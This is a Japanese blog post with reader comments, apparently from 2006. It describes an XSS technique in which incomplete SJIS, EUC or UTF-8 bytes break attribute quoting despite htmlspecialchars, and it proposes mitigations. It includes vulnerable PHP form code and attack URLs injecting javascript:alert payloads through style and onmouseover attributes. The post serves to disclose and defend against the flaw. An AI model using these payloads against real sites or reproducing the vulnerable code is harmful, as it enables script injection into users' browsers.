新たなXSS(CSS)脆弱性、EBCSS
かなりヤバめなXSS的攻撃方法が見つかりました。詳細は以下のリンク先をご覧下さい。
- 文字コード(SJIS)とHTMLエンコードとCross-Site Scriptingの微妙な関係
- 文字コードとHTMLエンコードとCross-Site Scriptingの微妙な関係 (EUCの場合、UTF-8の場合)
何がヤバいのかというと、この攻撃方法に対する根本的対策がほとんどのサイトで行われていないと思われるからです。
今までCross-Site Scripting脆弱性への対策はHTMLで使われる文字列を実体参照に変換するのが基本でした。しかし、マルチバイト文字列の仕様を突いて半端な文字列を送信しクオート文字を無効化(escape)することで、実体参照に変換されていてもスクリプトの実行が可能なケースがあることが判明したのです。
ちなみにまだ名前が無いみたいなので「Escape Based Cross Site Scripting」と題して「EBCSS」と呼ぶことにします。攻撃可能な条件が厳しめですがゼロでは無いので、この名前を使って認識が広まってくれることを願います。(もし既に名前が存在してたらすみません)
PHPで脆弱性のあるコードの例は以下のようなコードです。
<!--シングルクォートとダブルクオートを併用しているケース--> <form> text: <input type='text' name='text' value="<?php echo htmlspecialchars($_GET['text']) ?>"><br> text2: <input type='text' name='text2' value="<?php echo htmlspecialchars($_GET['text2']) ?>"><br> <input type=submit value="送信"> </form> <!--ダブルクォートだけでも攻撃可能なケース--> <form> text: <input type="text" name="text" value="<?php echo htmlspecialchars($_GET['text']) ?>"><br> text2: <input value="<?php echo htmlspecialchars($_GET['text2']) ?>" type="text" name="text2"><br> <input type=submit value="送信"> </form> <!--攻撃用URL SJIS用 IE限定--> <p>http://localhost/break_quote.php?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81</p> <!--攻撃用URL EUC用 IE限定--> <p>http://localhost/break_quote.php?text=text%A1&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%A1</p> <!--攻撃用URL UTF-8用 IE限定--> <p>http://localhost/break_quote.php?text=text%E1&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%E1</p> <!--攻撃用URL UTF-8用 ブラウザ非限定--> <p>http://localhost/break_quote.php?text=text%E1&text2=%20onmouseover=alert('xss'))%20%E1</p>
今のところ、攻撃できそうにないコードは以下のような例です。しかし、タグはしっかり壊れるので安心はできません。
<!--2つのパラメータの間に " が存在すると攻撃できそうにない(安心は禁物)--> <form> text: <input type="text" name="text" value="<?php echo htmlspecialchars($_GET['text']) ?>"><br> text2: <input type="text" name="text2" value="<?php echo htmlspecialchars($_GET['text2']) ?>"><br> <input type=submit value="送信"> </form>
肝心の対策は、以下が有効かもしれないようです。(文字コードとHTMLエンコードとCross-Site Scriptingの微妙な関係 (EUCの場合、UTF-8の場合)より)
- URLエンコードしとけ?
- 属性値は全部同じもの「"」か「'」括っておく?(表示は崩れる)
- Perlの場合はencode('sjis', decode('sjis', $query->param('text')))ってすると半端モノ消える(教えてもらった)
- phpの場合はhtmlspecialchars(mb_convert_encoding($_GET{'text'},'SJIS','SJIS'))ってすると半端モノ消える(教えてもらった)
とかそこらへん?
今のところ攻撃可能な条件が厳しめなものしか見つかっていないので、攻撃可能なサイトがすぐに見つかるわけではなさそうだと感じました。私自身が開発に携わったサイトやその他のサイトで脆弱性がないか探してみたところ、タグを壊すのが精一杯でした。しかし、タグを壊すことで何か他のことが可能になるケースもあるかもしれません。入力値をJavaScriptで利用する場合も危なそうです。なので、未然に防止するための機構を早急にに導入すべきかと思われます。対策例の半端モノを消す方法が良さそうな感じです。
また、GETではなくPOSTの場合はどうなのか?という点が気になります。試しにIE用の以下のような攻撃コードを書いてみましたが、HTML自体が壊れてしまうようで攻撃できませんでした。ただし、もっと調べれば攻撃可能かもしれません。
<!--受け取り側がpostの値を利用している場合の攻撃サンプル(動作しません)--> <form action="http://localhost/break_quote.php" method="post" onsubmit="this.text.value = unescape('%81');this.text2.value += unescape('%81')"> <input type="hidden" name="text" value=""> <input type="hidden" name="text2" value=" style=background:url(javascript:alert('xss')) "> <input type="submit" /> </form>
ちなみにクォート無しで属性を記述してしまっている場合はescapeしなくても属性を追加できてしまうので論外です。以下サンプル。
<!--問答無用に攻撃可能なケース。Attribute Append Cross Site Scriptingって感じ?てか、属性をクオートで囲まないこと自体がありえない--> <form> text: <input type=text name=text value=<?php echo htmlspecialchars($_GET['text']) ?>><br> <input type=submit value="送信"> </form> <!--攻撃用URL IE限定--> <p>http://localhost/break_quote.php?text=%20style%3dbackground:url(javascript:alert('xss'))</p>
うわぁ。。。
職場の打ち上げで酔っ払って帰ってきたんだが、↓を読んだら一気に酔いが吹っ飛んでしまった。
(akiyan.com さま)
Cross-Sit...
とりあえず""を使っているけど、安心できないね。
半端モノか。対策するようにしないとね。
ふむふむ。
本文とは関係ありませんが、うちの日記が、貴サイトの「蓄々ひらがなゲートウェイ」経由で大量に コメント SPAM を打ち込まれました。意図されているものではないと思いますが、なんらかの対策を施されることは可能でしょうか?
[...] (%E1~%EFあたりを使う) %E1″>%E1″(alert)(1);//%E1″ http://www.akiyan.com/blog/archives/2006/03/xsscssebcss.html [...]